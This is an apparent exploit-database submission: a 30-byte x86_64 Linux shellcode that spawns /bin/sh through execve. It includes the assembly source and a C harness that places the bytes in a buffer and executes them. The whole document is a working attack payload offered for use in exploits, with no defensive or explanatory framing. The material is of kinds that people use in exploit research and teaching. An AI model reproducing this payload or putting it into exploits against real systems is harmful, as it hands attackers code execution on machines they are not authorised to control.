# Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux

/*
  ; execve("/bin/sh", ["/bin/sh"], NULL)

  section .text
        global _start

  _start:
        xor     rdx, rdx
        mov     qword rbx, '//bin/sh'
        shr     rbx, 0x8
        push    rbx
        mov     rdi, rsp
        push    rax
        push    rdi
        mov     rsi, rsp
        mov     al, 0x3b
        syscall
*/

int main(void)
{
  char shellcode[] =
  "\x48\x31\xd2"                                  // xor    %rdx, %rdx
  "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov
$0x68732f6e69622f2f, %rbx
  "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
  "\x53"                                          // push   %rbx
  "\x48\x89\xe7"                                  // mov    %rsp, %rdi
  "\x50"                                          // push   %rax
  "\x57"                                          // push   %rdi
  "\x48\x89\xe6"                                  // mov    %rsp, %rsi
  "\xb0\x3b"                                      // mov    $0x3b, %al
  "\x0f\x05";                                     // syscall

  (*(void (*)()) shellcode)();
  
  return 0;
}